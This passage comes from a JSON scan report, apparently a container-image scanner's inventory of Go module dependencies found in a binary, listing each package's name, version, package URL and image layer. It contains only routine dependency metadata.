"sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grpc-ecosystem/go-grpc-middleware/providers/prometheus@v1.1.0", "Name": "github.com/grpc-ecosystem/go-grpc-middleware/providers/prometheus", "Identifier": { "PURL": "pkg:golang/github.com/grpc-ecosystem/go-grpc-middleware/providers/prometheus@v1.1.0", "UID": "16483e96f6d7ede4" }, "Version": "v1.1.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grpc-ecosystem/go-grpc-middleware/v2@v2.3.3", "Name": "github.com/grpc-ecosystem/go-grpc-middleware/v2", "Identifier": { "PURL": "pkg:golang/github.com/grpc-ecosystem/go-grpc-middleware/v2@v2.3.3", "UID": "f1344156c2e055a1" }, "Version": "v2.3.3", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/grpc-ecosystem/grpc-gateway/v2@v2.28.0", "Name": "github.com/grpc-ecosystem/grpc-gateway/v2", "Identifier": { "PURL": "pkg:golang/github.com/grpc-ecosystem/grpc-gateway/v2@v2.28.0", "UID": "45e8d755d1ae8b49" }, "Version": "v2.28.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/go-hclog@v1.6.3", "Name": "github.com/hashicorp/go-hclog", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/go-hclog@v1.6.3", "UID": "300e377473302c0c" }, "Version": "v1.6.3", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/go-plugin@v1.7.0", "Name": "github.com/hashicorp/go-plugin", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/go-plugin@v1.7.0", "UID": "caa8bbf79d732893" }, "Version": "v1.7.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/hashicorp/yamux@v0.1.2", "Name": "github.com/hashicorp/yamux", "Identifier": { "PURL": "pkg:golang/github.com/hashicorp/yamux@v0.1.2", "UID": "d04211f9f9e42c5a" }, "Version": "v0.1.2", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/huandu/go-clone@v1.7.3", "Name": "github.com/huandu/go-clone", "Identifier": { "PURL": "pkg:golang/github.com/huandu/go-clone@v1.7.3", "UID": "2883a4a054ccde71" }, "Version": "v1.7.3", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/huandu/go-sqlbuilder@v1.39.1", "Name": "github.com/huandu/go-sqlbuilder", "Identifier": { "PURL": "pkg:golang/github.com/huandu/go-sqlbuilder@v1.39.1", "UID": "6560afc8f4d63115" }, "Version": "v1.39.1", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/huandu/xstrings@v1.4.0", "Name": "github.com/huandu/xstrings", "Identifier": { "PURL": "pkg:golang/github.com/huandu/xstrings@v1.4.0", "UID": "7926ae3485ca20b9" }, "Version": "v1.4.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jaegertracing/jaeger-idl@v0.6.0", "Name": "github.com/jaegertracing/jaeger-idl", "Identifier": { "PURL": "pkg:golang/github.com/jaegertracing/jaeger-idl@v0.6.0", "UID": "c08dd02065efb37" }, "Version": "v0.6.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/josharian/intern@v1.0.0", "Name": "github.com/josharian/intern", "Identifier": { "PURL": "pkg:golang/github.com/josharian/intern@v1.0.0", "UID": "a94110d207374c97" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/json-iterator/go@v1.1.12", "Name": "github.com/json-iterator/go", "Identifier": { "PURL": "pkg:golang/github.com/json-iterator/go@v1.1.12", "UID": "6a6a3d1dc1e7795f" }, "Version": "v1.1.12", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/jszwedko/go-datemath@v0.1.1-0.20230526204004-640a500621d6", "Name": "github.com/jszwedko/go-datemath", "Identifier": { "PURL": "pkg:golang/github.com/jszwedko/go-datemath@v0.1.1-0.20230526204004-640a500621d6", "UID": "994ace00f8b01d8" }, "Version": "v0.1.1-0.20230526204004-640a500621d6", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/klauspost/compress@v1.18.4", "Name": "github.com/klauspost/compress", "Identifier": { "PURL": "pkg:golang/github.com/klauspost/compress@v1.18.4", "UID": "46abd793ed810542" }, "Version": "v1.18.4", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/klauspost/cpuid/v2@v2.3.0", "Name": "github.com/klauspost/cpuid/v2", "Identifier": { "PURL": "pkg:golang/github.com/klauspost/cpuid/v2@v2.3.0", "UID": "acd453ffb97ed13e" }, "Version": "v2.3.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mailru/easyjson@v0.7.7", "Name": "github.com/mailru/easyjson", "Identifier": { "PURL": "pkg:golang/github.com/mailru/easyjson@v0.7.7", "UID": "e5f5a00b2fad18ff" }, "Version": "v0.7.7", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mattetti/filebuffer@v1.0.1", "Name": "github.com/mattetti/filebuffer", "Identifier": { "PURL": "pkg:golang/github.com/mattetti/filebuffer@v1.0.1", "UID": "c9d25296b196671c" }, "Version": "v1.0.1", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mattn/go-colorable@v0.1.14", "Name": "github.com/mattn/go-colorable", "Identifier": { "PURL": "pkg:golang/github.com/mattn/go-colorable@v0.1.14", "UID": "91c854977bf1e2c8" }, "Version": "v0.1.14", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mattn/go-isatty@v0.0.20", "Name": "github.com/mattn/go-isatty", "Identifier": { "PURL": "pkg:golang/github.com/mattn/go-isatty@v0.0.20", "UID": "60c602a38e54e568" }, "Version": "v0.0.20", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mattn/go-runewidth@v0.0.19", "Name": "github.com/mattn/go-runewidth", "Identifier": { "PURL": "pkg:golang/github.com/mattn/go-runewidth@v0.0.19", "UID": "dc3677543a12ef0" }, "Version": "v0.0.19", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mitchellh/go-homedir@v1.1.0", "Name": "github.com/mitchellh/go-homedir", "Identifier": { "PURL": "pkg:golang/github.com/mitchellh/go-homedir@v1.1.0", "UID": "b4b0bb05973082d4" }, "Version": "v1.1.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mithrandie/csvq@v1.18.1", "Name": "github.com/mithrandie/csvq", "Identifier": { "PURL": "pkg:golang/github.com/mithrandie/csvq@v1.18.1", "UID": "4477c3bd8b124514" }, "Version": "v1.18.1", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mithrandie/csvq-driver@v1.7.0", "Name": "github.com/mithrandie/csvq-driver", "Identifier": { "PURL": "pkg:golang/github.com/mithrandie/csvq-driver@v1.7.0", "UID": "6e386a401d7df9b7" }, "Version": "v1.7.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mithrandie/go-file/v2@v2.1.0", "Name": "github.com/mithrandie/go-file/v2", "Identifier": { "PURL": "pkg:golang/github.com/mithrandie/go-file/v2@v2.1.0", "UID": "423dd172a543cbdd" }, "Version": "v2.1.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mithrandie/go-text@v1.6.0", "Name": "github.com/mithrandie/go-text", "Identifier": { "PURL": "pkg:golang/github.com/mithrandie/go-text@v1.6.0", "UID": "9faf984ff8ee7407" }, "Version": "v1.6.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mithrandie/ternary@v1.1.1", "Name": "github.com/mithrandie/ternary", "Identifier": { "PURL": "pkg:golang/github.com/mithrandie/ternary@v1.1.1", "UID": "975b4cb4a438b59a" }, "Version": "v1.1.1", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/modern-go/concurrent@v0.0.0-20180306012644-bacd9c7ef1dd", "Name": "github.com/modern-go/concurrent", "Identifier": { "PURL": "pkg:golang/github.com/modern-go/concurrent@v0.0.0-20180306012644-bacd9c7ef1dd", "UID": "21f1fb1c8e837841" }, "Version": "v0.0.0-20180306012644-bacd9c7ef1dd", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/modern-go/reflect2@v1.0.2", "Name": "github.com/modern-go/reflect2", "Identifier": { "PURL": "pkg:golang/github.com/modern-go/reflect2@v1.0.2", "UID": "afcddca0bc455a91" }, "Version": "v1.0.2", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/munnerz/goautoneg@v0.0.0-20191010083416-a7dc8b61c822", "Name": "github.com/munnerz/goautoneg", "Identifier": { "PURL": "pkg:golang/github.com/munnerz/goautoneg@v0.0.0-20191010083416-a7dc8b61c822", "UID": "59552dd92733169b" }, "Version": "v0.0.0-20191010083416-a7dc8b61c822", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/oklog/run@v1.1.0", "Name": "github.com/oklog/run", "Identifier": { "PURL": "pkg:golang/github.com/oklog/run@v1.1.0", "UID": "d6424a3818fb8d51" }, "Version": "v1.1.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/olekukonko/cat@v0.0.0-20250911104152-50322a0618f6", "Name": "github.com/olekukonko/cat", "Identifier": { "PURL": "pkg:golang/github.com/olekukonko/cat@v0.0.0-20250911104152-50322a0618f6", "UID": "22d3c3185b501c5d" }, "Version": "v0.0.0-20250911104152-50322a0618f6", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/olekukonko/errors@v1.2.0", "Name": "github.com/olekukonko/errors", "Identifier": { "PURL": "pkg:golang/github.com/olekukonko/errors@v1.2.0", "UID": "a500bd3eae4386d9" }, "Version": "v1.2.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/olekukonko/ll@v0.1.6", "Name": "github.com/olekukonko/ll", "Identifier": { "PURL": "pkg:golang/github.com/olekukonko/ll@v0.1.6", "UID": "84459bdb5af9b165" }, "Version": "v0.1.6", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/olekukonko/tablewriter@v1.1.4", "Name": "github.com/olekukonko/tablewriter", "Identifier": { "PURL": "pkg:golang/github.com/olekukonko/tablewriter@v1.1.4", "UID": "b588c4c4c137eee6" }, "Version": "v1.1.4", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/patrickmn/go-cache@v2.1.0+incompatible", "Name": "github.com/patrickmn/go-cache", "Identifier": { "PURL": "pkg:golang/github.com/patrickmn/go-cache@v2.1.0%2Bincompatible", "UID": "16eee2a82d8475cd" }, "Version": "v2.1.0+incompatible", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pierrec/lz4/v4@v4.1.25", "Name": "github.com/pierrec/lz4/v4", "Identifier": { "PURL": "pkg:golang/github.com/pierrec/lz4/v4@v4.1.25", "UID": "b4db3c9f7f63e560" }, "Version": "v4.1.25", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pmezard/go-difflib@v1.0.1-0.20181226105442-5d4384ee4fb2", "Name": "github.com/pmezard/go-difflib", "Identifier": { "PURL": "pkg:golang/github.com/pmezard/go-difflib@v1.0.1-0.20181226105442-5d4384ee4fb2", "UID": "645b4e7d523f88ff" }, "Version": "v1.0.1-0.20181226105442-5d4384ee4fb2", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/prometheus/client_golang@v1.23.2", "Name": "github.com/prometheus/client_golang", "Identifier": { "PURL": "pkg:golang/github.com/prometheus/client_golang@v1.23.2", "UID": "b11f26c050375b16" }, "Version": "v1.23.2", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/prometheus/client_model@v0.6.2", "Name": "github.com/prometheus/client_model", "Identifier": { "PURL": "pkg:golang/github.com/prometheus/client_model@v0.6.2", "UID": "55b72895351b5d1f" }, "Version": "v0.6.2", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/prometheus/common@v0.67.5", "Name": "github.com/prometheus/common", "Identifier": { "PURL": "pkg:golang/github.com/prometheus/common@v0.67.5", "UID": "11288aabe5055d32" }, "Version": "v0.67.5", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/prometheus/procfs@v0.16.1", "Name": "github.com/prometheus/procfs", "Identifier": { "PURL": "pkg:golang/github.com/prometheus/procfs@v0.16.1", "UID": "12168f3a6dd99250" }, "Version": "v0.16.1", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/stretchr/objx@v0.5.2", "Name": "github.com/stretchr/objx", "Identifier": { "PURL": "pkg:golang/github.com/stretchr/objx@v0.5.2", "UID": "7cf7306917917b88" }, "Version": "v0.5.2", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/stretchr/testify@v1.11.1", "Name": "github.com/stretchr/testify", "Identifier": { "PURL": "pkg:golang/github.com/stretchr/testify@v1.11.1", "UID": "5b2023abae57cac1" }, "Version": "v1.11.1", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/zeebo/xxh3@v1.1.0", "Name": "github.com/zeebo/xxh3", "Identifier": { "PURL": "pkg:golang/github.com/zeebo/xxh3@v1.1.0", "UID": "762c8084f91e9905" }, "Version": "v1.1.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/auto/sdk@v1.2.1", "Name": "go.opentelemetry.io/auto/sdk", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/auto/sdk@v1.2.1", "UID": "1529dc3006b8ab63" }, "Version": "v1.2.1", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc@v0.67.0", "Name": "go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc@v0.67.0", "UID": "4cab33f1873d2172" }, "Version": "v0.67.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/contrib/instrumentation/net/http/httptrace/otelhttptrace@v0.67.0", "Name": "go.opentelemetry.io/contrib/instrumentation/net/http/httptrace/otelhttptrace", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/contrib/instrumentation/net/http/httptrace/otelhttptrace@v0.67.0", "UID": "c122326db24eae87" }, "Version": "v0.67.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/contrib/propagators/jaeger@v1.42.0", "Name": "go.opentelemetry.io/contrib/propagators/jaeger", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/contrib/propagators/jaeger@v1.42.0", "UID": "ef258063adb6a84" }, "Version": "v1.42.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/contrib/samplers/jaegerremote@v0.36.0", "Name": "go.opentelemetry.io/contrib/samplers/jaegerremote", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/contrib/samplers/jaegerremote@v0.36.0", "UID": "41e4bc5b46fdcc2a" }, "Version": "v0.36.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel@v1.43.0", "Name": "go.opentelemetry.io/otel", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel@v1.43.0", "UID": "ebef424344614033" }, "Version": "v1.43.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/exporters/otlp/otlptrace@v1.42.0", "Name": "go.opentelemetry.io/otel/exporters/otlp/otlptrace", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/exporters/otlp/otlptrace@v1.42.0", "UID": "6d8c1f2cafd89233" }, "Version": "v1.42.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc@v1.42.0", "Name": "go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc@v1.42.0", "UID": "200135dcbb4b348b" }, "Version": "v1.42.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/metric@v1.43.0", "Name": "go.opentelemetry.io/otel/metric", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/metric@v1.43.0", "UID": "8cdbd818413bf2b1" }, "Version": "v1.43.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/sdk@v1.43.0", "Name": "go.opentelemetry.io/otel/sdk", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/sdk@v1.43.0", "UID": "1e0a02c0e748ea8e" }, "Version": "v1.43.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/otel/trace@v1.43.0", "Name": "go.opentelemetry.io/otel/trace", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/otel/trace@v1.43.0", "UID": "117c3ac3f7330e8d" }, "Version": "v1.43.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "go.opentelemetry.io/proto/otlp@v1.9.0", "Name": "go.opentelemetry.io/proto/otlp", "Identifier": { "PURL": "pkg:golang/go.opentelemetry.io/proto/otlp@v1.9.0", "UID": "18e2985b1031e90b" }, "Version": "v1.9.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "go.yaml.in/yaml/v2@v2.4.3", "Name": "go.yaml.in/yaml/v2", "Identifier": { "PURL": "pkg:golang/go.yaml.in/yaml/v2@v2.4.3", "UID": "50ed05944ad1102d" }, "Version": "v2.4.3", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "go.yaml.in/yaml/v3@v3.0.4", "Name": "go.yaml.in/yaml/v3", "Identifier": { "PURL": "pkg:golang/go.yaml.in/yaml/v3@v3.0.4", "UID": "1ea5b8e385f193b6" }, "Version": "v3.0.4", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/crypto@v0.49.0", "Name": "golang.org/x/crypto", "Identifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.49.0", "UID": "7902b3f05806d8b5" }, "Version": "v0.49.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/exp@v0.0.0-20260112195511-716be5621a96", "Name": "golang.org/x/exp", "Identifier": { "PURL": "pkg:golang/golang.org/x/exp@v0.0.0-20260112195511-716be5621a96", "UID": "b30a04dc1bb14cfd" }, "Version": "v0.0.0-20260112195511-716be5621a96", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/net@v0.52.0", "Name": "golang.org/x/net", "Identifier": { "PURL": "pkg:golang/golang.org/x/net@v0.52.0", "UID": "1328e6f059faf6ba" }, "Version": "v0.52.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/sync@v0.20.0", "Name": "golang.org/x/sync", "Identifier": { "PURL": "pkg:golang/golang.org/x/sync@v0.20.0", "UID": "6f2e9b47b281d427" }, "Version": "v0.20.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/sys@v0.42.0", "Name": "golang.org/x/sys", "Identifier": { "PURL": "pkg:golang/golang.org/x/sys@v0.42.0", "UID": "a4f49328d372b936" }, "Version": "v0.42.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/term@v0.41.0", "Name": "golang.org/x/term", "Identifier": { "PURL": "pkg:golang/golang.org/x/term@v0.41.0", "UID": "3ea96eca6b11e5d4" }, "Version": "v0.41.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/text@v0.35.0", "Name": "golang.org/x/text", "Identifier": { "PURL": "pkg:golang/golang.org/x/text@v0.35.0", "UID": "6e242dec52389829" }, "Version": "v0.35.0", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/xerrors@v0.0.0-20240903120638-7835f813f4da", "Name": "golang.org/x/xerrors", "Identifier": { "PURL": "pkg:golang/golang.org/x/xerrors@v0.0.0-20240903120638-7835f813f4da", "UID": "9f08363f6f6cc966" }, "Version": "v0.0.0-20240903120638-7835f813f4da", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "google.golang.org/genproto@v0.0.0-20210630183607-d20f26d13c79", "Name": "google.golang.org/genproto", "Identifier": { "PURL": "pkg:golang/google.golang.org/genproto@v0.0.0-20210630183607-d20f26d13c79", "UID": "2d82bf1dd1c271dd" }, "Version": "v0.0.0-20210630183607-d20f26d13c79", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "google.golang.org/grpc@v1.79.3", "Name": "google.golang.org/grpc", "Identifier": { "PURL": "pkg:golang/google.golang.org/grpc@v1.79.3", "UID": "c1091cf7b3dc9c13" }, "Version": "v1.79.3", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "google.golang.org/protobuf@v1.36.11", "Name": "google.golang.org/protobuf", "Identifier": { "PURL": "pkg:golang/google.golang.org/protobuf@v1.36.11", "UID": "c7268f1774f10107" }, "Version": "v1.36.11", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "gopkg.in/yaml.v3@v3.0.1", "Name": "gopkg.in/yaml.v3", "Identifier": { "PURL": "pkg:golang/gopkg.in/yaml.v3@v3.0.1", "UID": "594dda0cdda6797f" }, "Version": "v3.0.1", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "AnalyzedBy": "gobinary" }, { "ID": "k8s.io/kube-openapi@v0.0.0-20260127142750-a19766b6e2d4", "Name": "k8s.io/kube-openapi", "Identifier": { "PURL": "pkg:golang/k8s.io/kube-openapi@v0.0.0-20260127142750-a19766b6e2d4", "UID": "36bbfb9e84125ac3" }, "Version": "v0.0.0-20260127142750-a19766b6e2d4", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, 